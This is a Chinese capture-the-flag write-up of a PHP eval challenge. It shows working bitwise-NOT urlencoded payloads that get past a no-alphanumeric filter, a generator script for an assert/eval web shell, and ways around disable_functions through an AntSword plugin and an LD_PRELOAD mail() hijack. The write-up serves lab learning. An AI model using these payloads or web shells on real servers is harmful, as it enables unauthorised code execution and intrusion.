知识点

  • RCE
  • 无数字字母getshell
  • 取反urlencode编码绕过
  • LD_preload + mail劫持so来执行系统命令

启动靶机

启动靶机,查看题目,得到源码

  1. <?php
  2. error_reporting(0);
  3. if(isset($_GET['code'])){
  4. $code=$_GET['code'];
  5. if(strlen($code)>40){
  6. die("This is too Long.");
  7. }
  8. if(preg_match("/[A-Za-z0-9]+/",$code)){
  9. die("NO.");
  10. }
  11. @eval($code);
  12. }
  13. else{
  14. highlight_file(__FILE__);
  15. }
  16. // ?>

绕过正则,有长度限制,先出一个phpinfo()看一下配置,payload很多,这里直接用取反urlencode编码绕过

取反urlencode编码绕过

image.png

  1. lmc ~ php -r "echo urlencode(~'phpinfo');"
  2. %8F%97%8F%96%91%99%90%
  3. payload: ?code=(~%8F%97%8F%96%91%99%90)();

成功绕过之后发现 disable_functions 禁用了很多系统函数image.png

构造一个shell连上蚁剑

  1. <?php
  2. error_reporting(0);
  3. $a='assert';
  4. $b=urlencode(~$a);
  5. echo $b;
  6. echo "<br>";
  7. $c='(eval($_POST[shell]))';
  8. $d=urlencode(~$c);
  9. echo $d;
  10. ?>

image.png
payload:

  1. ?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%8C%97%9A%93%93%A2%D6%D6);

image.png
蚁剑连接,连接成功后,需要执行readflag才能得到flag,当时因为限制了很多函数,这个shell基本是废的,一个不能执行命令的shell叫什么shell,所以这里需要绕过这个disable_functions执行命令
image.png

蚁剑插件绕过disable_functions

在蚁剑的插件市场中下载绕过disable_functions插件
image.png

选择PHP_GC_UAF模式

选择PHP_GC_UAF模式,成功读取flag(这个是非预期解)
image.png

预期解:通过环境变量LD_PRELOAD+mail劫持so来执行系统命令

一般来说,最简单的绕过disable_function的办法,dl函数,proc_open函数,漏洞版本的imagemagic等
这里的话都过滤的比较好,
这时候,就可以用这段时间比较好用的环境变量 LD_preload + mail劫持so来执行系统命令
https://www.anquanke.com/post/id/175403
https://www.freebuf.com/articles/web/192052.html
具体原理上面讲的比我好,大概就是通过linux提供的LD_preload环境变量,劫持共享so,在启动子进程的时候,新的子进程会加载我们恶意的so拓展,然后我们可以在so里面定义同名函数,即可劫持API调用,成功RCE
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
可惜的是,大部分同学做到这一步后,要不就是搜到工具直接使用拿到/flag,要不就是把靶机上前人做题留下来的脚本直接使用拿到/flag,并没有自己去想怎么绕过disable_function